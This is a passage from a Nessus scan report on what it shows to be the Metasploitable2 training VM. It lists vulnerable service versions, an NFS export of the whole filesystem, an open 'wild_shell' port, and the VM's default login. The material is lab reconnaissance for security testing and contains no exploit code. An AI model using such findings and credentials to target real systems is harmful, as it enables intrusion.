It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.
```

78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

See Also

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00>

Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

Risk Factor

Medium

CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.1

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID 70574

CVE CVE-2014-3566

XREF CERT:577193

Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

Plugin Output

tcp/5432/postgresql

```
Nessus determined that the remote server supports SSLv3 with at least one CBC cipher suite, indicating that this server is vulnerable.
```

```
It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.
```

10407 - X Server Detection

Synopsis

An X11 server is listening on the remote host

Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2000/05/12, Modified: 2019/03/05

Plugin Output

tcp/6000/x11

```
x11 Version : 11.0
```

21186 - AJP Connector Detection

Synopsis

There is an AJP connector listening on the remote host.

Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

See Also

<http://tomcat.apache.org/connectors-doc/>

<http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/04/05, Modified: 2019/11/22

Plugin Output

tcp/8009/ajp13

The connector listing on this port supports the ajp13 protocol.

18261 - Apache Banner Linux Distribution Disclosure

Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2022/03/21

Plugin Output

tcp/0

```
The Linux distribution detected was :  
- Ubuntu 8.04 (gutsy)
```

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030
XREF IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

```
URL      : http://192.168.1.101/
Version  : 2.2.99
Source   : Server: Apache/2.2.8 (Ubuntu) DAV/2
backported : 1
modules   : DAV/2
os        : ConvertedUbuntu
```

39446 - Apache Tomcat Detection

Synopsis

The remote web server is an Apache Tomcat server.

Description

Nessus was able to detect a remote Apache Tomcat web server.

See Also

<https://tomcat.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0535

Plugin Information

Published: 2009/06/18, Modified: 2023/05/24

Plugin Output

tcp/8180/www

```
URL      : http://192.168.1.101:8180/
Version  : 5.5
backported : 0
source    : Apache Tomcat/5.5
```

39519 - Backported Security Patch Detection (FTP)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote FTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/2121/ftp

Give Nessus credentials to perform local checks.

84574 - Backported Security Patch Detection (PHP)

Synopsis

Security patches have been backported.

Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/07/07, Modified: 2022/04/11

Plugin Output

tcp/80/www

Give Nessus credentials to perform local checks.

39520 - Backported Security Patch Detection (SSH)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

Give Nessus credentials to perform local checks.

39521 - Backported Security Patch Detection (WWW)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

Give Nessus credentials to perform local checks.

45590 - Common Platform Enumeration (CPE)

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

<http://cpe.mitre.org/>

<https://nvd.nist.gov/products/cpe>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2024/04/23

Plugin Output

tcp/0

```
The remote operating system matched the following CPE :  
cpe:/o:canonical:ubuntu_linux:8.04 -> Canonical Ubuntu Linux  
  
Following application CPE's matched on the remote system :  
cpe:/a:apache:http_server:2.2.8 -> Apache Software Foundation Apache HTTP Server  
cpe:/a:apache:http_server:2.2.99 -> Apache Software Foundation Apache HTTP Server  
cpe:/a:apache:tomcat:5.5 -> Apache Software Foundation Tomcat  
cpe:/a:isc:bind:9.4. -> ISC BIND  
cpe:/a:isc:bind:9.4.2 -> ISC BIND  
cpe:/a:mysql:mysql -> MySQL MySQL  
cpe:/a:openbsd:openssh:4.7 -> OpenBSD OpenSSH  
cpe:/a:openbsd:openssh:4.7p1 -> OpenBSD OpenSSH  
cpe:/a:php:php:5.2.4 -> PHP PHP  
cpe:/a:php:php:5.2.4-2ubuntu5.10 -> PHP PHP  
cpe:/a:postgresql:postgresql -> PostgreSQL
```

```
cpe:/a:samba:samba:3.0.20 -> Samba Samba
```

10028 - DNS Server BIND version Directive Remote Version Detection

Synopsis

It is possible to obtain the version number of the remote DNS server.

Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

Risk Factor

None

References

XREF IAVT:0001-T-0583

Plugin Information

Published: 1999/10/12, Modified: 2022/10/12

Plugin Output

udp/53/dns

Version : 9.4.2

35373 - DNS Server DNSSEC Aware Resolver

Synopsis

The remote DNS resolver is DNSSEC-aware.

Description

The remote DNS resolver accepts DNSSEC options. This means that it may verify the authenticity of DNSSEC protected zones if it is configured to trust their keys.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/01/15, Modified: 2013/11/21

Plugin Output

udp/53/dns

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

tcp/53/dns

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

udp/53/dns

35371 - DNS Server hostname.bind Map Hostname Disclosure

Synopsis

The DNS server discloses the remote host name.

Description

It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain.

Solution

It may be possible to disable this feature. Consult the vendor's documentation for more information.

Risk Factor

None

Plugin Information

Published: 2009/01/15, Modified: 2011/09/14

Plugin Output

udp/53/dns

```
The remote host name is :
```

```
metasploitable
```

54615 - Device Type

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2022/09/09

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 95
```

35716 - Ethernet Card Manufacturer Detection

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

<https://standards.ieee.org/faqs/regauth.html>

<http://www.nessus.org/u?794673b4>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :
```

```
08:00:27:24:01:F5 : PCS Systemtechnik GmbH
```

86420 - Ethernet MAC Addresses

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:  
- 08:00:27:24:01:F5
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030
XREF IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :
```

```
220 (vsFTPd 2.3.4)
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030
XREF IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/2121/ftp

```
The remote FTP banner is :  
220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.1.101]
```

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :
```

```
Apache/2.2.8 (Ubuntu) DAV/2
```

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/8180/www

```
The remote web server type is :
```

```
Apache-Coyote/1.1
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

Date: Sat, 27 Apr 2024 12:39:48 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Response Body :

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
```



Warning: Never expose this VM to an untrusted network!

Contact: msfdev [at] metasploit.com

Login with msfadmin/msfadmin to get started

```
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/8180/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : no
Options allowed : GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Headers :

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Date: Sat, 27 Apr 2024 12:39:39 GMT
Connection: close

Response Body :

<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

  http://www.apache.org/licenses/LICENSE-2.0
-->
```

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

```
-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  <head>
    <title>Apache Tomcat/5.5</title>
    <style type="text/css">
      /*<! [CDATA[*/
      body {
        color: #000000;
        background-color: #FFFFFF;
        font-family: Arial, "Times New Roman", Times, serif;
        margin: 10px 0px;
      }

      img {
        border: none;
      }

      a:link, a:visited {
        color: blue
      }

      th {
        font-family: Verdana, "Times New Roman", Times, serif;
        font-size: 110%;
        font-weight: normal;
        font-style: italic;
        background: #D2A41C;
        text-align: left;
      }

      td {
        color: #000000;
      }
      font-family: Arial, Helvetica, sans-serif;
    }
  <td.men [...]>
```

11156 - IRC Daemon Version Detection

Synopsis

The remote host is an IRC server.

Description

This plugin determines the version of the IRC daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

Plugin Output

tcp/6667/irc

```
The IRC server version is : Unreal3.2.8.1. FhiXOoE [*=2309]
```

10397 - Microsoft Windows SMB LanMan Pipe Server Listing Disclosure

Synopsis

It is possible to obtain network information.

Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2000/05/09, Modified: 2022/02/01

Plugin Output

tcp/445/cifs

```
Here is the browse list of the remote host :
```

```
METASPLOITABLE ( os : 0.0 )
```

10785 - Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

Synopsis

It was possible to obtain information about the remote operating system.

Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/139/smb

An SMB server is running on this port.

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/445/cifs

A CIFS server is running on this port.

100871 - Microsoft Windows SMB Versions Supported (remote check)

Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :  
SMBv1
```

106716 - Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :  
_version_ introduced in windows version  
2.0.2    Windows 2008  
2.1      Windows 7  
2.2.2    Windows 8 Beta  
2.2.4    Windows 8 Beta  
3.0      Windows 8  
3.0.2    Windows 8.1  
3.1      Windows 10  
3.1.1    Windows 10
```

10437 - NFS Share Export List

Synopsis

The remote NFS server exports a list of shares.

Description

This plugin retrieves the list of NFS exported shares.

See Also

<http://www.tldp.org/HOWTO/NFS-HOWTO/security.html>

Solution

Ensure each share is intended to be exported.

Risk Factor

None

Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of 192.168.1.101 :
```

```
/ *
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/23/telnet

```
Port 23/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/53/dns

```
Port 53/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/111/rpc-portmapper

```
Port 111/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/512

```
Port 512/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/513/rlogin

```
Port 513/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/514/rsh

```
Port 514/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/1099/rmi_registry

```
Port 1099/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/1524/wild_shell

```
Port 1524/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/2049/rpc-nfs

Port 2049/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/2121/ftp

Port 2121/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/3306/mysql

```
Port 3306/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/3632

Port 3632/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/5432/postgresql

Port 5432/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/5900/vnc

Port 5900/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

